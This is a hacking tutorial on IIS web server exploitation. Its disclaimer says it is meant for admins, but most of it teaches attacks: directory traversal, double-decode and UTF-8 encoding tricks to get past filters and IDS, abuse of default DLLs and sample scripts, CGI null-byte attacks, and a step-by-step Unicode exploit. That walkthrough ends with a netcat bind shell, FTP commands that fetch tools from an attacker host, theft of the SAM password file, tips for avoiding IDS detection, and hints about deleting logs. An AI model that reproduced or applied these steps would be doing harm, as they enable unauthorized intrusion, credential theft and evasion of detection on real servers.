* Guide to IIS Exploitation *
* V.1.0.1 *
Disclaimer: I do not condone hacking IIS servers in any way,
shape or form. This guide is intended as a guide
for admins to help them understand what most
script kiddies don’t understand but are happy to
–[On the first day, God created directory traversal]
Relative paths are the developers friend. They allow an entire website to
be moved to another directory without the need for changing all the links
in the html. For example, lets say we have a webpage called ‘pictures.html’
in the htdocs dir:
Absolute path: /home/webpages/htdocs/pictures.html
Absolute path: /home/webpages/images/pic1.gif
In the html you can refer to the ‘pic1.gif’ via an absolute path shown
above or use a relative path:
Relative path: ../images/pic1.gif
The relative path tells the server that it has to go to the parent
directory (dot dot) –> from /home/webpages/htdocs to /home/webpages. Then
the server goes into the images dir and looks for the gif file to display.
Anyone who has used the ‘cd’ command in DOS and *nix should be familiar
with the operation. So what’s the problem I hear you ask… well, the
programmers of web server didn’t think to check the supplied URL to ensure
that the requested file was actually in the web directory. This allows
someone to backtrack through the servers directory structure and request
files that the web server has access to. For example,
NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):
The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS’s
work for their money.
–[On the second day, God created Hexadecimal]
Once programmers started to realise the mistake they began to create parser
routines to check for naughty URL’s and keep the requests within the
document root. Then along comes a wiley hacker who wonders if by encoding
the URL will it still be recognised by the parser routines.
You may have noticed that when you enter a URL that includes a space it is
replaced with the hex equivalent (%20):
and voila, it works. So what would happen if we changed the now denied URL:
The parser routine checks for the existence of dots in the path and finds
none… the webserver then proceeds with the request.
An interesting feature is that you can enco
de the hex symbol and the web
server will decode it all for you. This is called the “double decode”.
For example, given the URL “http://victim.com/..%252f..%252fdocs/”, the
following will take place:
(1) On the first decode, the string will be converted to:
[%25 = ‘%’ so ‘%252f’ is decoded to ‘%2f’]
(2) On the second decode, the string will be converted to:
[%2f = ‘/’]
–[On the third day, God created Unicode]
The World Wide Web is a global phenomenon and as such needs to be globally
interoperable. This raised the question of how to deal with all the different
character sets around the world. As a response to this, Unicode was created:
Unicode provides a unique number for every character, no matter
what the platform, no matter what the program, no matter what
the language. The Unicode Standard has been adopted by such
industry leaders as Apple, HP, IBM, JustSystem, Microsoft,
Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is
required by modern standards such as XML, Java, ECMAScript
way to implement ISO/IEC 10646. It is supported in many operating
systems, all modern browsers, and many other products.
The problem with Unicode is that it requires 16 bits for a single character
and software tended to use 8 bits for a single character. Unicode TransForm
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a
variable number of bytes can be used for each character:
Character 1-byte 2-byte 3-byte
. 2E C0 AE E0 80 AE
/ 2F C0 AF E0 80 AF
5C C1 9C E0 81 9C
This lead to a new vulnerability in certain webservers. The parser didn’t
understand this new encoding and allowed it through 🙂
Recent vulnerabilities have been taking advantage of the fact that the web
server doesn’t understand the Unicode UTF-8 character set but the underlying
Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:
%uxxxx = Unicode
%xx%xx = UTF-8
%xx = Hexidecimal
%xxxx = Double Decode
–[On the fourth day, God created default installs]
IIS comes installed with various DLL’s (Dynamic Link Libraries) that
increase the functionality of the web server. These ISAPI (Internet Server
API) applications allow programmers/developers to deliver more functionality
The DLL’s are loaded into memory at startup and offer significant speed
over traditional CGI programs. For example, they can be combined with the
Internet Database Connector (httpodbc.dll) to create interactive sites that
use ODBC to access databases.
The problem is that some of these DLL’s are insecure and are often installed
with sample scripts that demonstrate how to exploit, erm, I mean use them.
ASP.DLL is used to pre-process requests that end in “.asp”. ASP (Active
Server Pages) are basically HTML pages with embedded code that is processed
by the webserver before serving it to the clie
Here’s some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]
** Appending a ‘.’ to the URL can reveal the source
** on older systems. Remember hex encoding? You can
** also try using %2e to do the same thing.
** This gives you an interface into the msadcs.dll
** and allows creation of DSN’s. Read RFP’s stuff
** for idea’s on how to exploit this.
** You can view the source of anything in the
** document root. ‘/msadc/’ needs to be in the
** request as it is checked for, wait for this,
** security 🙂
** Appending ‘::$DATA’ to the URL can reveal
** the source of the ASP.
** Append a hex value between 0x81 and 0xfe
** and you can reveal the source of any server
** processed file. This only works on servers
** that are Chinese, Japanese or Korean.
** This one allows you to execute remote
** shell commands 😉
ISM.DLL is used to process requests that end in “.htr”. These pages were used
to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry.
** IIS will redirect this request to ISM.DLL,
** which will strip the ‘.htr’ extension and
** deliver the source code of the file.
** Does the same thing as the %20%20 exploit
** above. ISM.DLL strips the +.htr and delivers
** you the source of the file
** Excellent brute force opportunity if the
** dll exists. Successful logons will reveal
** lots of useful stuff.
** The iisadmpwd diectory contains several .htr
** files that allow NetBIOS resolution and
** password attacks.
** This method will only reveal directories
** but can be useful for identifying the
** servers structure for more advanced
** attacks later.
MSADCS.DLL is used to allow access to ODBC components via IIS using RDS
(Remote Data Service). RDS is part of the default install of Microsoft Data
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.
** If this file exists then there’s a pretty
** good chance that you can run the RDS
** exploit again the box. More on this later.
HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from
within webpages. Pages with the extension ‘.idc’ are sent to the HTT
** Appending ‘::$DATA’ to the URL can reveal
** the source of the IDC.
** Requesting a non-existance file will
** reveal the location of the web root.
** Creates a table based on the parameters it
** receives. Excellent place to look at for
** SQL injection.
SSINC.DLL is used for processing Server Side Includes (SSI). ‘.stm’,
‘.shtm’ and ‘.shtml’ extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.
An example of SSI would be:
This SSI tells the server to include the ‘news.txt’ in the final HTML
sent to the use. SSI statements are beyond the scope of this document
but offer another security hole open to our wiley hax0r. Ensure you
remove the app mapping and disable SSI if you do not require its
SSINC.DLL is also vulnerable to a remote buffer overflow, read the
following advisory for details:
Some examples of SSINC.DLL fun:
** If you request a file that doesn’t exist
** then the server error message contains the
** the location of the web root.
** Using this method allows you to view the
** the source code for index.asp.
IDQ.DLL is a component of MS Index Server and handles ‘.ida’ and ‘.idq’
requests. This DLL has had some big exposure with the recent Nimda worm.
I’m not going into too much detail but ‘.ida’ was used in a buffer
overflow that resulted in user defined code being executed on the server.
/anything.ida or /anything.idq
** Requesting a non-existance file will
** reveal the location of the web root.
** You can use this to read any file on
** the same drive as the web root
CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your
IIS server, via a web browser or the Web Publishing Wizard. The existance of
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:
** If this file is there then you may be able
** to upload files to the server.
** Connecting to this page gives you a nice
** gui for uploading your own webpages. You
** probably need to brute the userid.
There are lots more example scripts in the default install and quite a few
of them are very, very insecure. Microsoft recommends that you remove ALL
samples from any production server including the ExAir, WSH, ADO and other
IIS Default Web Site
IISSAMPLES – c:inetpubiissamples
IISADMIN – c:winntsystem32inetsrvissadmin
IISHELP – c:winnthelp
SCRIPTS – c:inetpubscripts
IISADMPWD – c:winntsystems32
msadc – c:program filescommon filessystemmsadc
logfiles – c:winntsystem32logfiles
default.htm – c:inetpubwwwroot
IIS Default App Mapping
.asa – c:winntsystem32inetsrvasp.dll
.asp – c:winntsystem32inetsrvasp.dll
.cdx – c:winntsystem32inetsrvasp.dll
.cer – c:winntsystem32inetsrvasp.dll
.htr – c:winntsystem32inetsrvism.dll
.idc – c:winntsystem32inetsrvhttpodbc.dll
.shtm – c:winntsystem32inetsrvssinc.dll
.shtml – c:winntsystem32inetsrvssinc.dll
.stm – c:winntsystem32inetsrvssinc.dll
–[On the fifth day, God created Frontpage Extensions]
Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you’ve
ever wondered why they use _vti_) is a web design tool that helps you
create and maintain a web site and allows you to publish it to the web
In order to publish using Frontpage the server needs to run certain
programs, collectively called the Frontpage Server Extensions.
Sounds good I hear you say, but there are many, many security holes in
Frontpage. You can list all the files, download password files and upload
your own files on Frontpage enabled sites.
When you publish a file, Frontpage attempts to read the following URL to
get all the information it needs to publish:
Then Frontpage uses the following URL to POST the files to the site:
It will come as no surprise that this file is not protected and open to
All information for the site is stored in the /_vti_pvt/ dir, and its world
readable. Here’s some of the things you can look for:
–[On the sixth day, God created CGI]–
The Common Gateway Interface (CGI) is a standard for interfacing external
applications to the web server. A CGI program is excuted in real time and
is used to create dynamic web sites.
Generally, the CGI programs are kept in ‘/cgi-bin/’ but can be placed
anywhere. The programs can be written most languages but typically they are
written in C, Perl or shell scripts.
Many sites will use freely available, downloadable scripts from places like
Matt’s Trojan, erm, I mean Matt’s Script Archive. Its always a good idea to
look through the source of the scripts for bad system calls and lax input
CGI deserves a tutorial all to itself and I strongly suggest that you read
the following tutorials… they explain it better than I ever could:
Hacking CGI – http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
Perl CGI Problems – http://www.phrack.com/phrack/55/P55-07
Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input
validation exploits and buffer overflows.
The first thing to keep in mind is that you are already able to exploit cgi
using the techniques from previous sections. First, we need to cover some
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.
When the user clicks on the submit button his information is passed to the
CGI script to process either via the URL (GET) or via HTTP headers (POST).
Lets assume that the CGI we are going to exploit asks the user for the name
of a file to display. The ‘GET’ method uses the URL to pass the information
and it would look like this:
Lets break that down:
? – separates the request from the parameters
filename – this is the name of the textbox in the html
= – assignment for the parameter/value pair
/etc/passwd – this is what the user typed into the box
You can have multiple fields within a HTML form and these will also be
passed to the CGI. They are separated using a ‘&’:
If you were thinking how could you alter the user supplied input to break
the CGI then good, you’re starting to think in terms of security. Lots of
developers love to program new and interesting things but they do not
consider security. A security conscious programmer would write input
validation routines that would process the data and ensure the user wasn’t
be malicious or curious.
As you read through some of the free scripts on the web you will start to
realise that many programmers do not think about security. Lets look briefly
at some ways we could exploit the CGI. The first thing to keep in mind is
that you already know the generic exploits from the previous section. The
only area in which we are lacking is programming language specific info.
We will stick with the example cgi that open’s a file (and let’s assume
its written Perl). Lets look at some of the things we can try:
and lets do the same thing but encode the URL to bypass security checks:
If you have read the RFP document above then you will be familiar with
poison null bytes. Stop now and go read it… can’t be arsed? ok then,
here’s the quick version. %00 is valid in a string with Perl but is NUL
in C. So? When Perl wants to open the file it makes a request to the
operating system through a system call. The operating system is written in
C and %00 is a string delimiter. Lets apply this technique to the
I decide to secure my CGI. I append ‘.html’ to any request. This means that
the user can only view html files and if they try something else then it
doesn’t exist. wh00p @ me 🙂
But… what if I was to do the following:
In Perl the filename string would look like this:
Perfectly valid under Perl. I have done my job… or have I? When this is
passed to the OS (which is written in C not Perl) the request looks like
The OS identifies %00 as the string delimiter and ignores anything that
Comes after it. The webserver then displays the /etc/passwd file… bugger 🙁
Many people download scripts from the web and look for problems in the
script. Then the wiley hax0r will go to altavista and search for sites
that are using that script, eg:
and good old altavista provides a list of sites that are just ripe for the
The final method of exploiting CGI is via buffer overflows. Languages like
Java and Perl are immune to buffer overflows because the language loo
after memory management. Programs written in a language such as C are
vulnerable because the programmer is supposed to manage the memory. Some
programmers fail to check the size of data it is fitting into the memory
buffer and overwrites data in the stack.
The goal of the buffer overflow is to overwrite the instruction pointer
which points to the location of the next bit of code to run. An attacker
will attempt to overwrite this pointer with a new pointer that points to
attacker’s code, usually a root shell.
Quite a few CGI’s exist that are vulnerable to this type of attack. For
Example, counter.exe is one such CGI. By writing 2000 A’s to the CGI cause
a Denial of Service (DoS).
The details of buffer overflows are beyond the scope of this document.
Look out for a future release 😉
If you want to dig deeper in buffer overflows then have a look at:
–[On the seventh day, God chilled and haxored the planet]
Well.. I guess its time we actually tried some of the things discussed but
I’m not going to cover everything. I suggest going to the following URL’s
and searching for IIS:
My main reason for doing this file was to better understand Unicode exploits
and so that is going to be the focus of the exploitation. The first exploit
I’m going to go through is the recent Unicode exploit for IIS4/5:
Before I get emails saying ‘hold on, you said that %xx%xx is UTF-8″ let me
explain. This had wide exposure on Bugtraq as the Unicode exploit. In
reality, this is not a Unicode sploit but a UTF-8 sploit. I’m going to keep
calling this the Unicode exploit because its now referenced by this name in
the Bugtraq archives and you’ll have to search using Unicode to do further
Ok, rant over… To check if the server is exploitable, request the
You should get a directory listing of the C: drive on the target server.
The important thing to note is that the Unicode string can vary depending
where in the world you are. Some possible alternatives include:
%c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc
There are many more to choose from, just look at some of the Bugtraq posts or
research UTF-8 for more alternatives.
OK, you can read the directory… what next? You have the directory listing
and the ability to run commands, so you need to find the web root. By default,
the web root is at:
If its not there then go and look for it. Let’s write a text file there and
see if we can see it:
hmmm.. it seems that we don’t have write access. Ok, no problem we can get
around that by creating a copy of the cmd.exe that has write privileges:
Let’s check if it worked:
Yep.. all’s good so far. Lets try and write to the web root:
Let’s open up it up in the browser and see if we can see it:
w00t!!! Write access!!! Right, we now have some options open to us. In the
words of Microsoft, where do you want to go today? Working via the URL is
pretty clunky and I like the comfort of a nice command prompt, So lets do
that. I want to bring over a copy of netcat and a nice html page that I’ll
use to replace the existing one.
First I need to think about the script I want to run that will get the
files I need from my FTP s
Right. I need to get this script onto the webserver:
OK.. now we have created a script on the server called fugscript. Next step
is to execute the script and get my files from my web server.
If all goes well the server should begin the FTP transfer and get your files
transferred. Be patient and give it time to transfer. Now you are ready to
get netcat listening on a port. The command line for starting netcat is:
nc.exe -l -p 6667 -e cmd.exe
This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e)
when someone connects. The last step is to translate this command into URL
Fire up a telnet session and connect to port 6667 on the target system and
voila… you have a cmd prompt. I really hate web defacements… so if your
going to do it then rename the existing index.htm (or default.htm) to
something like index.htm.old (give the poor admin a break, cause you can bet
your arse that he hasn’t made a backup). ALSO: you are now using a system
without authorisation and as such, you are guilty under the Computer Misuse
Act in the UK and probably of something similar in your own country. If it
never occurred to you to delete the contents of c:winntsystem32logfiles
or the ‘fugscript’ file then you really shouldn’t be doing this.
It just wouldn’t be right to talk about IIS exploitation without mentioning
msadc.pl. rfp’s perl script is a perfect example of exploit chaining. A
single exploit is not used but a chain of exploits to get the script to
The exploit utilises a combination of inadequate application input validation
and default install fun. The process tries to connect to a Data Source Name
(DSN) to execute commands.
rfp’s script tests for the existence /msadc/msadc.dll using the GET method.
This test will be logged and you should edit the script to make it a HEAD
request and add some URL obfuscation madness.
The default msadc.pl script uses “!ADM!ROX!YOUR!WORLD!” as the MIME
separator string. It is advised to change this string as some IDS’s are
configured to identify this string.
If you want to write your own scanners then you should be looking for
headers with the content type:
and of course the IIS version 🙂 I don’t want to go into too much detail
because this is heavily documented on rfp’s site:
How do I use it? I hear you cry… well, its child’s play:
./msadc2.pl -h www.target.com
If all goes well then you should be presented with the following:
Its interesting to note at this point that ‘cmd /c’ will is run as with the
previous exploit. You can edit the script to run any other executable such
as ‘rdsik /s’ instead.
This is good, you can know enter the command you want to run on the server.
The previous Unicode exploit should have given you some ideas but here’s a
couple that come to mind:
copy c:winntrepairsam._ c:inetpubwwwrootfug.hak
(grabbing fug.hak via your browser should give you a nice file to fire up
in L0phtcrack or JTR)
echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript
&& echo mypassword>>fugscript… etc. etc.
Anyway, that’s about all for now. When I can be bothered I’ll add some more
methods to this file. Until then, ensure your box is fully patched and the
default scripts are removed. Go have a look at the following URL and get